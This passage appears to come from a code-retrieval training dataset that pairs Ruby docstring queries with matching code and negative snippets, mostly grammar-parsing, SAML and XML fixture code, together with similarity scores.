attributes['SPProvidedID'] = sp_provided_id unless sp_provided_id.nil?\n xml.tag!('saml:Issuer', value, attributes)\n end", "def name_id\n @name_id ||= begin\n node = REXML::XPath.first(document, \"/p:Response/a:Assertion[@ID='#{document.signed_element_id[1,document.signed_element_id.size]}']/a:Subject/a:NameID\", { \"p\" => PROTOCOL, \"a\" => ASSERTION })\n node ||= REXML::XPath.first(document, \"/p:Response[@ID='#{document.signed_element_id[1,document.signed_element_id.size]}']/a:Assertion/a:Subject/a:NameID\", { \"p\" => PROTOCOL, \"a\" => ASSERTION })\n node.nil? ? nil : node.text\n end\n end", "def from_hash_to_xml(hash)\n hash.to_xml(root: 'Request', skip_types: true, dasherize: false, skip_instruct: true)\n end", "def to_xml\r\n @request_set.ToXMLString\r\n end", "def affiliations_xml\n <<-NODE\n<iq type='result'\n from='pubsub.shakespeare.lit'\n to='francisco@denmark.lit'\n id='affil1'>\n <pubsub xmlns='http://jabber.org/protocol/pubsub'>\n <affiliations>\n <affiliation node='node1' affiliation='owner'/>\n <affiliation node='node2' affiliation='owner'/>\n <affiliation node='node3' affiliation='publisher'/>\n <affiliation node='node4' affiliation='outcast'/>\n <affiliation node='node5' affiliation='member'/>\n <affiliation node='node6' affiliation='none'/>\n </affiliations>\n </pubsub>\n</iq>\n NODE\nend", "def successful_authorize_response\n <<-XML\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <EngineDocList>\n <DocVersion DataType=\"String\">1.0</DocVersion>\n <EngineDoc>\n <Overview>\n <AuthCode DataType=\"String\">889350</AuthCode>\n <CcErrCode DataType=\"S32\">1</CcErrCode>\n <CcReturnMsg DataType=\"String\">Approved.</CcReturnMsg>\n <DateTime DataType=\"DateTime\">1212066788586</DateTime>\n <Mode DataType=\"String\">Y</Mode>\n <OrderId DataType=\"String\">483e6382-7d12-3001-002b-0003bac00fc9</OrderId>\n <TransactionId DataType=\"String\">483e6382-7d13-3001-002b-0003bac00fc9</TransactionId>\n <TransactionStatus DataType=\"String\">A</TransactionStatus>\n </Overview>\n </EngineDoc>\n </EngineDocList>\n XML\n end", "def to_s\n context = @solution.map {|k, v| \"#{k}: #{v}\"}.join(',')\n \"#<Twilio.Api.V2010.ParticipantContext #{context}>\"\n end", "def create(login_name)\n uuid = \"_\" + UUID.new.generate\n time = Time.now.utc.strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n # Create AuthnRequest root element using REXML\n self.request_doc = REXML::Document.new\n\n root = self.request_doc.add_element \"samlp:LogoutRequest\", {\"xmlns:samlp\" => PROTOCOL}\n root.attributes['ID'] = uuid\n root.attributes['IssueInstant'] = time\n root.attributes['Version'] = \"2.0\"\n\n # Conditionally defined elements based on settings\n if settings.assertion_consumer_service_url != nil\n root.attributes[\"AssertionConsumerServiceURL\"] = settings.assertion_consumer_service_url\n end\n if settings.issuer != nil\n issuer = root.add_element \"saml:Issuer\", {\"xmlns:saml\" => ASSERTION}\n issuer.text = settings.issuer\n end\n name_id = root.add_element \"saml:NameID\", {\n \"xmlns:saml\" => ASSERTION,\n \"Format\" => settings.name_identifier_format\n }\n name_id.add_text(login_name)\n self\n end" ]
[ "0.61706084", "0.61599076", "0.6087966", "0.6059848", "0.5905357", "0.5904865", "0.5864847", "0.58290994", "0.5776716", "0.56429183", "0.5626103", "0.5585975", "0.55723405", "0.5566708", "0.5516159", "0.54650563", "0.5462001", "0.5462001", "0.5454173", "0.544742", "0.54470307", "0.54466265", "0.543054", "0.53657293", "0.53618526", "0.5357334", "0.5353863", "0.534919", "0.53469235", "0.53290415", "0.53217036", "0.5310326", "0.53017294", "0.528436", "0.5274882", "0.5270594", "0.52654076", "0.5246382", "0.52457356", "0.5241409", "0.5223584", "0.5222349", "0.52140254", "0.5212815", "0.51985383", "0.51818365", "0.51705426", "0.51583934", "0.5156194", "0.5154624", "0.5141675", "0.5141675", "0.5141038", "0.51337856", "0.5130043", "0.5127047", "0.512465", "0.5119607", "0.51155597", "0.5108524", "0.5095313", "0.5084152", "0.5047665", "0.50467443", "0.50360274", "0.50355923", "0.5030267", "0.50299776", "0.50240314", "0.50213766", "0.5020455", "0.5016324", "0.5014373", "0.5013773", "0.50106555", "0.49967825", "0.49891627", "0.49783796", "0.4976936", "0.49711743", "0.49467734", "0.49466065", "0.4945566", "0.49453965", "0.49412677", "0.49345466", "0.49341938", "0.4918837", "0.49186856", "0.4917015", "0.4908815", "0.49079543", "0.49066305", "0.490413", "0.49031377", "0.49018407", "0.48870584", "0.4883186", "0.48825952", "0.48800865" ]
0.7901732
0
symbols_for() returns an array of symbols, one for each name in a group returns an array of the input symbol if not a group
def symbols_for( symbol ) return @group_members.member?(symbol.name) ? @group_members[symbol.name] : [symbol] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def symbols\n each_symbol.to_a\n end", "def to_sym_arr\n @by_symbol.keys\n end", "def symbols() @symbols end", "def each() @symbols.each {|s| yield s if block_given? } end", "def get_symbols\n\t\treturn @symbols\n\tend", "def symbols\n @symbol_set.symbols\n end", "def symbol_by_name(name)\n each_symbols.find { |symbol| symbol.name == name }\n end", "def string_to_symbol_array(s)\n words = s.split\n a = []\n words.each do |w|\n symbol = w.downcase.to_sym\n if !is_a_or_an?(symbol)\n a.push(symbol)\n end\n end\n return a\n end", "def symbols(expr = @expr)\n expr[1..-1].map do |sym|\n case sym\n when Symbol\n sym\n when Array\n symbols(sym)\n end\n end.flatten.compact.uniq\n end", "def groups\n hyrax_groups.map(&:name)\n end", "def hyrax_group_names\n groups\n end", "def gen_symbols\n @symbols = true\n end", "def group_names\r\n\t\tnames = []\r\n\t\tgroup.each do |mem|\r\n\t\t\tnames << mem.name\r\n\t\tend\r\n\t\tnames\r\n\tend", "def split_on_symbol_locations(string)\n string\n .chars\n .each_with_index\n .slice_when { |(_, index)| is_symbol?(index) }\n .map { |result_with_indeces| result_with_indeces.map(&:first).join }\n end", "def symbols; end", "def symbols\n @symbols ||= Array(@grpc.symbols).map do |b|\n Symbol.from_grpc b\n end\n end", "def get_symbols\n symbols = html_open_url.css(\"td.col-symbol\")\n symbol_array = put_in_array(symbols)\nend", "def create_symbols\n # creates all named symbols, including vector references\n @expressions.map { |a| a.create_symbols }\n puts(self.class)\n end", "def propositional_symbols\n symbols = []\n @classified.each do |el|\n symbols.push el if el.instance_of? Proposition\n end\n symbols\n end", "def get_regular_expression_of_symbols\n regular_expression = nil\n @symbols.each do |symbol|\n formated_symbol = Regexp.escape(symbol[:symbol])\n regular_expression = if regular_expression.nil?\n \"(#{formated_symbol})\"\n else\n \"#{regular_expression}|(#{formated_symbol})\"\n end\n end\n Regexp.new(regular_expression)\n end", "def split_symbol(sym)\n s = sym.to_s\n if m = COLUMN_REF_RE1.match(s)\n m[1..3]\n elsif m = COLUMN_REF_RE2.match(s)\n [nil, m[1], m[2]]\n elsif m = COLUMN_REF_RE3.match(s)\n [m[1], m[2], nil]\n else\n [nil, s, nil]\n end\n end", "def get_procs( symbol, name )\n return nil if @procs.size == 0\n @procs.find_all do |sym, match, block|\n (\n (sym.nil? or symbol == sym) and\n ((name.nil? and match.nil?) or match.nil? or (\n (name == match) or\n (match.kind_of? Regexp and name =~ match)\n )\n )\n )\n end.collect{|x| x[-1]}\n end", "def group(names)\n\tunits = []\n\t3.times do\n\t\tnames = names.shuffle\n\t\tremainder = []\n\t\tcount = names.length % 4\n\t\tcount.times do\n\t\t\tremainder << names.shift\n\t\tend\n\t\tgroupsArray = names.each_slice(4).to_a\n\t\twhile count != 0\n\t\t\tgroupsArray[count-1] << remainder.shift\n\t\t\tcount -= 1\n\t\tend\n\t\tunits << groupsArray\n\tend\n\treturn units\nend", "def symbols\n keys.sort\n end", "def group_names\n groups.collect { |g| g.name }\n end", "def node_names(symbols, comparison_symbol)\n index = symbols.index(comparison_symbol)\n [symbols[index-1], symbols[index +1] ]\nend", "def for_sxp\n elements = [kind, sym]\n elements << id if id\n elements << [:start, true] if start\n elements << first.sort_by(&:to_s).unshift(:first) if first\n elements << follow.sort_by(&:to_s).unshift(:follow) if follow\n elements << [:cleanup, cleanup] if cleanup\n elements << expr\n elements\n end", "def resolve_symbols\n s = Symbols.new(@filtered)\n pro = s.process_labels\n @filtered = s.translate_symbols(pro)\n process\n end", "def str_cards_tosymbarr(str)\r\n tmp = str.split(\",\")\r\n tmp.collect!{|e| e.to_sym}\r\n return tmp\r\n end", "def group_check(s)\n p '--- Jan-10-2017 problem --- '\n stack = []\n symbols = { '{' => '}', '[' => ']', '(' => ')' }\n s.each_char do |c|\n p 'c is ' + c\n p 'symbols.key? = ' + symbols.key?(c).to_s\n stack << c if symbols.key?(c)\n p 'symbols.key = ' + symbols.key(c).to_s\n p stack\n return false if symbols.key(c) && symbols.key(c) != stack.pop\n end\n stack.empty?\nend", "def symbol_for_name(name)\n if symbols.has_key? name\n symbols[name]\n else\n raise \"No symbol with name #{name} found\"\n end\n end", "def test_out_symbols_on_examples\n assert_equal(['a'], @small_dfa.out_symbols(0,true))\n assert_equal(['a', 'b', 'c'], @small_dfa.out_symbols(1,true))\n assert_equal(['c'], @small_dfa.out_symbols(2,true))\n assert_equal(['b'], @small_dfa.out_symbols(3,true))\n\n assert_equal(['a'], @small_nfa.out_symbols(0,true))\n assert_equal([nil, 'b'], @small_nfa.out_symbols(1,true))\n assert_equal([nil, 'c'], @small_nfa.out_symbols(2,true))\n assert_equal(['a'], @small_nfa.out_symbols(3,true))\n end", "def split_paths\n symbols = ox_doc.locate('svg/defs/g/symbol')\n symbols.each do |symbol|\n path = symbol.nodes.first\n parsed_path = Savage::Parser.parse(path[:d])\n subpath_elements = []\n\n parsed_path.subpaths.each do |subpath|\n path_element = Ox::Element.new('path').tap { |prop| prop[:d] = subpath.to_command }\n subpath_elements.push path_element\n end\n\n symbol.nodes.clear\n subpath_elements.each { |pth| symbol << pth }\n end\n end", "def get_groups_a\n\n return [] if self.groups.nil? or self.groups.empty?\n\n array = self.groups.split('|')\n array.compact!\n array.delete('')\n\n return array\n end", "def key_name_groups\n KEY_NAME_GROUPS.map { |kn| const_get kn }\n end", "def terminal_symbols\n symbols.values.select {|symbol| symbol.terminal}\n end", "def clear_symbols(*symbols)\n [BusScheme.current_scope, BusScheme::SYMBOL_TABLE].compact.map{ |scope| symbols.map{ |sym| scope.delete sym } }\n end", "def symbols(names_only=false, recurse=false)\n symtab = recurse ? @children.map { |c| c.symbols(names_only, true)\n }.flatten : []\n names_only ? @symtab.keys.concat(symtab) : @symtab.values.concat(symtab)\n end", "def specs_grouped_by_name(spec_list)\n by_name = Hash.new { |h, k| h[k] = [] }\n spec_list.each do |spec|\n by_name[spec.name.downcase] << spec\n end\n by_name\n end", "def symbols(new_symbols = (not_set = true))\n return @symbols if not_set\n\n @symbols.merge!(new_symbols)\n end", "def symbols(new_symbols = (not_set = true))\n return @symbols if not_set\n\n @symbols.merge!(new_symbols)\n end", "def scrapp_symbols\n\tpage = get_page\n\tcrypto_symbols = page.xpath('//*[@class=\"text-left col-symbol\"]')\n\tcrypto_symbols_array = [] #/ initiliaze the array for stocking all symbols\n\tcrypto_symbols.each do |symbol| #/ put .text to be in string the symbols\n\t\tcrypto_symbols_array << symbol.text \n\tend\n\treturn crypto_symbols_array\nend", "def get_array_of_symbolic_keys\n # getting array of keys (in symbol form)\n all_fields = self.attributes.keys.map do |key|\n key.to_sym;\n end\n return all_fields\n end", "def build_symbols(options)\n if options == :ascii\n ASCII_SYMBOLS\n elsif options.is_a? Hash\n base_symbols = options[:base] == :ascii ? ASCII_SYMBOLS : SYMBOLS\n if options[:override].is_a?(Hash)\n base_symbols.merge(options[:override])\n else\n base_symbols\n end\n else\n SYMBOLS\n end\n end", "def get_symbol\n token = @tokens.next\n\n case token\n when :symbol then\n [:symbol, *parse_symbol]\n when :symbol_link then\n [:symbol_link, @tokens.next]\n else\n raise ArgumentError, \"expected SYMBOL or SYMLINK, got #{token.inspect}\"\n end\n end", "def values_for(symbol,test_values)\n symbols << symbol\n values << test_values\n end", "def symbol_segments\n segments.select{ |s| s.is_a?(Symbol) }\n end", "def groups()\n grlist = []\n Etc.group { |g|\n grlist.push(g.name)\n }\n return grlist.uniq.sort\n end", "def specs_with_name(name)\n matching_specs = @specs.select do |spec|\n spec[0].name == name\n end\n\n name_tuples = []\n matching_specs.each do |(name_tuple, _)|\n name_tuples << name_tuple\n end\n\n name_tuples\n end", "def macro_array_for(name)\n\t\t\treturn @macros_by_def[name.to_sym] if @macros_by_def[name.to_sym]\n\t\t\tkey = @macros_by_def.keys.select{|k| macro_eq?(k, name.to_sym) }[0] || name.to_sym\n\t\t\t@macros_by_def[key] = [] unless @macros_by_def[key]\n\t\t\t@macros_by_def[key]\n\t\tend", "def compute_groups\n groups = []\n\n yard_methods = yard_object.meths.reject do |method|\n name = method.name.to_s\n name =~ /^_/\n end\n\n yard_methods.each do |yard_method|\n group = groups.find { |g| g.name == group_name_from_text(yard_method.group) }\n unless group\n group = CodeObjects::Group.new\n group.name = group_name_from_text(yard_method.group)\n group.html_description = markdown_h(yard_method.group.lines.drop(1).join)\n group.meths = []\n groups << group\n end\n\n\n # TODO: the attr_writer and readers are discerned on a who come first\n # basis.\n method = create_method(yard_method)\n group.meths << method unless group.meths.find { |m| m.name == method.name }\n end\n groups\n end", "def non_terminal_symbols\n symbols.values.select {|symbol| symbol.non_terminal}\n end", "def separated_to_symbols(data)\r\n data.chomp.split(',').map { |e| e.strip.downcase.to_sym }\r\nend", "def value_getter(name, mapping)\n ComparableSymbolsArray.new(\n mapping.values.select { |pv| (send(name) & pv) != 0 }.\n map { |v| value_to_sym(v, mapping) }\n )\n end", "def symbols cols\n decode_values :symbol, cols, true\n end", "def names\n all.map { |item| item.name_sym }\n end", "def team_symbol(team)\n return team if @no_symbol_conv || team.nil?\n return team.collect do |hash|\n hash = hash.clone\n hash[:id] = GameData::Pokemon.db_symbol(hash[:id]) if hash.key?(:id)\n hash[:moves]&.collect! do |move_id|\n GameData::Skill.db_symbol(move_id)\n end\n hash[:item] = GameData::Item.db_symbol(hash[:item]) if hash[:item]\n next(hash)\n end\n end", "def get_groups\n `id -nG #{name}`.split(' ')\n end", "def dates_for(symbol)\n date_strings_for(symbol).map{|date_string| Time.zone.parse(date_string)}\n end", "def symbols(characters)\n @mapping.map do |bar_position|\n bar_position.map(characters)\n end\n end", "def potential(sym)\n @sep_map.each_index.select { |i| @sep_map[i].from_all.include? sym }\n end", "def specs_by_name\n specs_grouped_by_name(specs)\n end", "def get_named_components()\n r = Hash.new\n names = get_component_names\n names.each { |n|\n begin\n r[n] = get_component_any(n)\n rescue\n end\n }\n return r\nend", "def get_named_components()\n r = Hash.new\n names = get_component_names\n names.each { |n|\n begin\n r[n] = get_component_any(n)\n rescue\n end\n }\n return r\nend", "def acct_groups(names)\r\n\r\n\tnum_groups = names.size / 4\r\n\r\n\tgroups_ary = Array.new(num_groups) { Array.new }\r\n\r\n\tnames.each_with_index do |name, index|\r\n\t\tgroups_ary[index % num_groups] << name\r\n\tend\r\n\r\n\tgroups_hash = Hash.new\r\n\tgroups_ary.each_with_index do |group_ary, index|\r\n\t\tgroups_hash[\"Accountability Group \" + (index+1).to_s] = group_ary\r\n\tend\r\n\r\n\treturn groups_hash\r\n\r\nend", "def each_name_of bitmap\n return enum_for __method__, bitmap unless block_given?\n\n @name_to_bitmap.each do |name, bit|\n next if bit == @regexp_handling\n\n yield name.to_s if (bitmap & bit) != 0\n end\n end", "def create_groups(names)\n groups = []\n names.shuffle.each_slice(4) do |group|\n if group.count == 4\n groups << group\n else\n i = 0\n group.each do |name|\n groups[i] << name\n i += 1\n end\n end\n end\n p groups\nend", "def acc_group(names)\n\tnames.shuffle!\n\tgroups = names.each_slice(4).to_a\n\tif names.length % 4 == 1\n\t\tgroups[0] << groups.last[0]\n\t\tgroups.pop\n\telsif names.length % 4 == 2\n\t\tgroups[0] << groups.last[0]\n\t\tgroups[1] << groups.last[1]\n\t\tgroups.pop\n\telsif names.length % 4 == 3\n\t\tgroups[0] << groups.last[0]\n\t\tgroups[1] << groups.last[1]\n\t\tgroups[2] << groups.last[2]\n\t\tgroups.pop\n\tend\n\ti = 1\n\twhile i <= groups.length\n\t\tputs \"Group \" + i.to_s\n\t\tputs groups[i-1]\n\t\ti += 1\n\tend\nend", "def sym(name)\n #This is a stub, used for indexing\n end", "def nodeset_for(symbols)\n ng_xml.xpath(self.class.terminology.xpath_for(symbols))\n end", "def gyms\n memberships.map{|membership|membership.gym}\n end", "def gyms\n memberships.map{|membership|\n membership.gym\n }\n end", "def replace_with_symbols(text, name)\n @symbols.each do |symbol|\n if (symbol['image'] and symbol['fields'].include?(name))\n temp = []\n\n text.each_with_index do |token, i|\n if (token.class == Image)\n temp.push(token)\n elsif (!token.empty?)\n tokens = token.split(/(#{symbol['symbol']})/)\n temp.push(*tokens)\n end\n end\n\n imagepath = @images + symbol['replace']\n\n m = Image.ping(imagepath).first\n replace_image = Image.read(imagepath).first\n\n text = temp.flatten.map { |x|\n if (x == symbol['symbol'])\n replace_image\n else\n x\n end\n }\n end\n end\n\n return text\n end", "def return_position_tickles(symbol)\n position_array = []\n for boardcase in @board\n if boardcase.content == symbol.to_s\n position_array << boardcase.position \n end\n end\n return position_array\n end", "def symbol cols\n decode_values :symbol, cols\n end", "def test_in_symbols_on_examples\n assert_equal(['c'], @small_dfa.in_symbols(0,true))\n assert_equal(['a','c'], @small_dfa.in_symbols(1,true))\n assert_equal(['b'], @small_dfa.in_symbols(2,true))\n assert_equal(['a'], @small_dfa.in_symbols(3,true))\n\n assert_equal(['a'], @small_nfa.in_symbols(0,true))\n assert_equal([nil,'a'], @small_nfa.in_symbols(1,true))\n assert_equal(['b'], @small_nfa.in_symbols(2,true))\n assert_equal(['b','c'], @small_nfa.in_symbols(3,true))\n end", "def groups\n z.standardize.map do |val|\n if val.positive?\n 'H'\n else\n 'L'\n end\n end\n end", "def get_unref_symbols\n unref = []\n @modules.each do |mod|\n mod.symbols.values.each do |s|\n unless s.referenced?\n unref << s.name\n end\n end\n end\n unref\n end", "def def_string_array sym, name=nil, &block\n def_transform(sym) {|v|\n next nil if v == nil\n orig = self[sym]\n if v.one_of_type? Array, Enumerable\n add = v.map {|x| x.to_s}\n next orig ? orig + add : add\n end\n orig ? orig << v.to_s : [v.to_s]\n }\n def_checker(sym) { |v|\n next true if v == nil\n next false unless (v.one_of_type?(Array, Enumerable) && !v.is_a?(Hash))\n v.each {|x| \n return false unless block.call(x) \n } if block_given?\n true\n }\n def_alias sym, name if name\n end", "def def_string_array sym, name=nil, &block\n def_transform(sym) {|v|\n next nil if v == nil\n orig = self[sym]\n if v.one_of_type? Array, Enumerable\n add = v.map {|x| x.to_s}\n next orig ? orig + add : add\n end\n orig ? orig << v.to_s : [v.to_s]\n }\n def_checker(sym) { |v|\n next true if v == nil\n next false unless (v.one_of_type?(Array, Enumerable) && !v.is_a?(Hash))\n v.each {|x| \n return false unless block.call(x) \n } if block_given?\n true\n }\n def_alias sym, name if name\n end", "def asm_symbol(s)\n sa = Word[s]\n return sa if !sa.nil?\n a = ['']\n s.each_char do |c|\n g = Graph[c]\n if g.nil?\n a[-1] << c\n else\n # graph char found\n if g != ''\n if a[-1] == ''\n a[-1] << g\n a << ''\n else\n a << \"#{g}\"\n a << ''\n end\n end\n end\n end\n if a[-1] == ''\n a.pop\n end\n a.join('_').downcase\n end", "def gyms\n lifter_memberships.map {|membership| membership.gym }\n end", "def getBreakpadSymbolInfo(data)\n match = data.match(/MODULE\\s(\\w+)\\s(\\w+)\\s(\\w+)\\s(\\S+)/)\n\n raise 'invalid breakpad data' if !match || match.captures.length != 4\n\n match.captures\nend", "def roles_as_symbols\n roles.pluck(:symbol).map(&:to_sym)\n end", "def symbolify_array( array )\n\t\t\treturn array.collect do |item|\n\t\t\t\tcase item\n\t\t\t\twhen String\n\t\t\t\t\titem.to_sym\n\t\t\t\twhen Array\n\t\t\t\t\tsymbolify_array( item )\n\t\t\t\telse\n\t\t\t\t\titem\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def symbolify_array( array )\n\t\t\treturn array.collect do |item|\n\t\t\t\tcase item\n\t\t\t\twhen String\n\t\t\t\t\titem.to_sym\n\t\t\t\twhen Array\n\t\t\t\t\tsymbolify_array( item )\n\t\t\t\telse\n\t\t\t\t\titem\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def symbolify_array( array )\n\t\t\treturn array.collect do |item|\n\t\t\t\tcase item\n\t\t\t\twhen String\n\t\t\t\t\titem.to_sym\n\t\t\t\twhen Array\n\t\t\t\t\tsymbolify_array( item )\n\t\t\t\telse\n\t\t\t\t\titem\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def ungroup proc\n args = []\n proc.pop #ignore :group\n groupsize = proc.pop\n endgroup = proc.pc+groupsize\n while (proc.pc < endgroup)\n arg = proc.exec\n args << arg unless arg == :comma\n end\n return args\n end", "def gyms\n\n memberships.collect do |member_object|\n member_object.gym\n end\n end", "def symbols?\n sort == ::SYMBOLS\n end", "def names\n map(&:name)\n end", "def create_group_array\n group_array= $products_hash[\"items\"].group_by {|name| name[\"brand\"]}\n return group_array\nend", "def name\n [@n.to_s + character.to_s, symmetry].reject{|p| p == \"\"}.join(\"_\")\n end", "def globalsymbols(node)\n case node\n when Statements\n for stmt in node.stmts\n if stmt.class == FuncDecl\n for stmt_ in stmt.body.stmts\n if stmt_.class == Statements\n for stmt__ in stmt_.stmts\n if stmt__.class == VarDecl\n varDecl(stmt__)\n end\n end\n end\n end\n elsif stmt.class == Statements\n for stmt_ in stmt.stmts\n if stmt_.class == VarDecl\n varDecl(stmt_)\n end\n end\n end\n @cg.freeall_registers\n end\n end\n end", "def hide_symbols(text)\n html = text.is_a?(ActiveSupport::SafeBuffer)\n text = text.to_s unless text.is_a?(String)\n\n # noinspection RubyMismatchedReturnType\n return html ? text : ERB::Util.h(text) unless text.match?(SYMBOLS)\n\n if html && (parts = text.scan(FOR_ELEMENTS)).present?\n # noinspection RubyMismatchedArgumentType\n parts.flat_map {\n part = []\n part << _1.presence && hide_symbols(_1) # leading text\n part << [_2, _3, _4].join # HTML tag\n part << _5.presence && hide_symbols(_5.html_safe) # HTML node contents\n part << _6 # HTML tag close\n part << _7.presence && hide_symbols(_7) # trailing text\n }.compact.join.html_safe\n else\n text.scan(/(.*?)(#{SYMBOLS})/).flat_map { |txt, sym|\n part = []\n part << txt.presence && (html ? txt : html_span(txt, class: 'text'))\n part << symbol_icon(sym)\n }.compact.join.html_safe\n end\n end", "def sym(name)\n SymEngine::Symbol.new(name)\nend", "def createDeck\n deck = []\n for suit in @@cardSuits\n for symbol in @@symbolVals.keys\n if symbol != \"AA\"\n deck << Card.new(symbol, suit)\n end\n end\n end\n\n return deck\n end", "def confirmed_map(syms = nil)\n confirmed_positions(syms).map { |i| @sep_map[i] }\n end", "def names\n iterator = @form_fields.keySet.iterator\n set = []\n set << iterator.next.toString.to_sym while iterator.hasNext\n set\n end", "def getBreakpadSymbolInfo(data)\n match = data.match(/MODULE\\s(\\w+)\\s(\\w+)\\s(\\w+)\\s(\\S+)/)\n\n if !match || match.captures.length != 4\n raise \"invalid breakpad data\"\n end\n\n match.captures\nend" ]
[ "0.65819234", "0.62139195", "0.62100434", "0.6100269", "0.606925", "0.5971053", "0.591074", "0.5895718", "0.57150704", "0.5707035", "0.56902176", "0.5631679", "0.5603679", "0.5585194", "0.55822146", "0.5581193", "0.55746925", "0.5570102", "0.55147666", "0.54776484", "0.54612845", "0.5405625", "0.5395874", "0.53720427", "0.5290937", "0.52621984", "0.5258799", "0.5248777", "0.5244486", "0.52429605", "0.5239797", "0.5234421", "0.5230576", "0.52250934", "0.5213499", "0.51939625", "0.5155635", "0.5140067", "0.5118016", "0.51134604", "0.51134604", "0.51042396", "0.5091609", "0.5069194", "0.506895", "0.50626373", "0.50521123", "0.50462604", "0.50448424", "0.5042351", "0.5028297", "0.50275356", "0.50154454", "0.5013782", "0.4992814", "0.4990355", "0.49797517", "0.49791017", "0.49735084", "0.4964275", "0.49573335", "0.49572563", "0.49533463", "0.49533463", "0.49507347", "0.4939413", "0.49296436", "0.49127963", "0.48805147", "0.4873175", "0.4866465", "0.4865136", "0.4862757", "0.4850253", "0.48469853", "0.48426488", "0.48423034", "0.48422882", "0.48403722", "0.48403722", "0.48307142", "0.48306867", "0.48146692", "0.48127836", "0.48065698", "0.48065698", "0.48065698", "0.4806551", "0.48028344", "0.47929627", "0.47863498", "0.47685078", "0.47612363", "0.47607517", "0.47600612", "0.47456324", "0.47369143", "0.47309697", "0.47293603", "0.47288874" ]
0.8255681
0
syntactic_determinants_for() given a syntactic production name, returns a list of token symbols that can start it
def syntactic_determinants_for( symbols, into = nil, trail_marker = nil ) if symbols.is_an?(Array) then trail_marker = Util::TrailMarker.new() if trail_marker.nil? determinants = into.nil? ? {} : into symbols.each do |symbol| syntactic_determinants_for( symbol, determinants, trail_marker ) end return into.nil? ? determinants.keys : into else symbol = symbols name = symbol.name if @syntactic_determinants.member?(name) then if into.nil? then return @syntactic_determinants[name] else into.update(@syntactic_determinants[name].to_hash()) return into end end trail_marker = Util::TrailMarker.new() if trail_marker.nil? determinants = {} complete = false if @group_members.member?(name) then group = @group_members[name] complete = trail_marker.enter(group.object_id) do group.each do |member| if member.refers_to_token? then determinants[member] = true else syntactic_determinants_for(member, determinants, trail_marker) if trail_marker.mark(member.name) end end end elsif @syntactic_production_sets.member?(name) then production_set = @syntactic_production_sets[name] complete = trail_marker.enter(production_set.object_id) do production_set.each do |production| leader = production.symbols[0] if leader.refers_to_token? then determinants[leader] = true else syntactic_determinants_for(leader, determinants, trail_marker) if trail_marker.mark(leader.name) end end end elsif name.character_range?() then determinants[name.name] = true else determinants[Plan::Symbol.new(name, :token)] = true end into.update( determinants ) unless into.nil? # # Cache the answer and return. @syntactic_determinants[name] = determinants.keys if complete return into.nil? ? determinants.keys : into end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def lexical_determinants_for( symbols, visited = {} )\n if symbols.is_an?(Array) then\n determinants = CharacterRange.new()\n symbols.each do |symbol|\n determinants.add( lexical_determinants_for(symbol) )\n end\n return determinants\n \n else\n symbol = symbols\n name = symbol.name\n \n #\n # Unlike SyntaxProduction, TokenProductions are strictly acyclic. So we'll recurse instead.\n \n determinants = CharacterRange.new()\n symbols = @lexical_production_sets.member?(name) ? [symbol] : syntactic_determinants_for( symbol )\n \n symbols.each do |symbol|\n if symbol.refers_to_character? then\n determinants.add(symbol)\n else\n token_name = symbol.name\n \n next if visited.member?(token_name)\n visited[token_name] = true\n \n if @lexical_determinants.member?(token_name) then\n determinants += @lexical_determinants[token_name]\n elsif @lexical_production_sets.member?(token_name) then\n production_set = @lexical_production_sets[token_name]\n unless production_set.empty?\n assert( production_set[0].lexical?, \"expected lexical production for #{token_name}!\" )\n\n set_determinants = CharacterRange.new()\n production_set.each do |production|\n leader = production.symbols[0]\n if leader.refers_to_character? then\n set_determinants += leader\n else\n set_determinants += lexical_determinants_for( leader, visited ) unless visited.member?(leader.name)\n end\n end\n \n @lexical_determinants[token_name] = set_determinants\n determinants += set_determinants\n end\n elsif token_name.eof? then\n determinants.add( -1..-1 ) \n else\n nyi( \"lexical determinant support for #{token_name}\", symbol )\n end\n end\n end\n \n return determinants\n end\n end", "def syntax(tokens)\n tokens = expect(:\".syntax\", tokens)\n if id?(tokens[0])\n name = tokens[0]\n tokens.shift\n else\n fail \"syntax NAME\"\n end\n r = [:\".syntax\", name]\n\n while tokens[0] != :\".end\"\n eq, tokens = equation(tokens)\n #pp eq\n if eq\n r << eq\n else\n break\n end\n end\n\n tokens = expect(:\".end\", tokens)\n return r\n end", "def tokens\n @grammar.keys\n end", "def propositional_symbols\n symbols = []\n @classified.each do |el|\n symbols.push el if el.instance_of? Proposition\n end\n symbols\n end", "def statement_list\r\n statement\r\n while true\r\n if (next_token == 'Id' || next_token == 'ReadSym' ||\r\n next_token == 'WriteSym' || next_token == 'IfSym' ||\r\n next_token == 'WhileSym')\r\n statement\r\n else\r\n break\r\n end\r\n end\r\n end", "def symbols() @symbols end", "def tokens(expression)\n \tret = []\n \telements = expression.split(\" \")\n \telements.each do |element|\n \t\tunless (/[0-9]/.match(element).nil?)\n \t\t\tret << element.to_i\n \t\telse\n \t\t\tret << element.to_sym\n \t\tend\n \tend\n \tret\n end", "def variable_declaration_list\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 21 )\n return_value = VariableDeclarationListReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n char_literal74 = nil\n variable_declaration73 = nil\n variable_declaration75 = nil\n\n tree_for_char_literal74 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 391:5: variable_declaration ( ',' variable_declaration )*\n @state.following.push( TOKENS_FOLLOWING_variable_declaration_IN_variable_declaration_list_2546 )\n variable_declaration73 = variable_declaration\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, variable_declaration73.tree )\n end\n # at line 391:26: ( ',' variable_declaration )*\n while true # decision 12\n alt_12 = 2\n alt_12 = @dfa12.predict( @input )\n case alt_12\n when 1\n # at line 391:28: ',' variable_declaration\n char_literal74 = match( COMMA, TOKENS_FOLLOWING_COMMA_IN_variable_declaration_list_2550 )\n @state.following.push( TOKENS_FOLLOWING_variable_declaration_IN_variable_declaration_list_2553 )\n variable_declaration75 = variable_declaration\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, variable_declaration75.tree )\n end\n\n else\n break # out of loop for decision 12\n end\n end # loop for decision 12\n # - - - - - - - rule clean up - - - - - 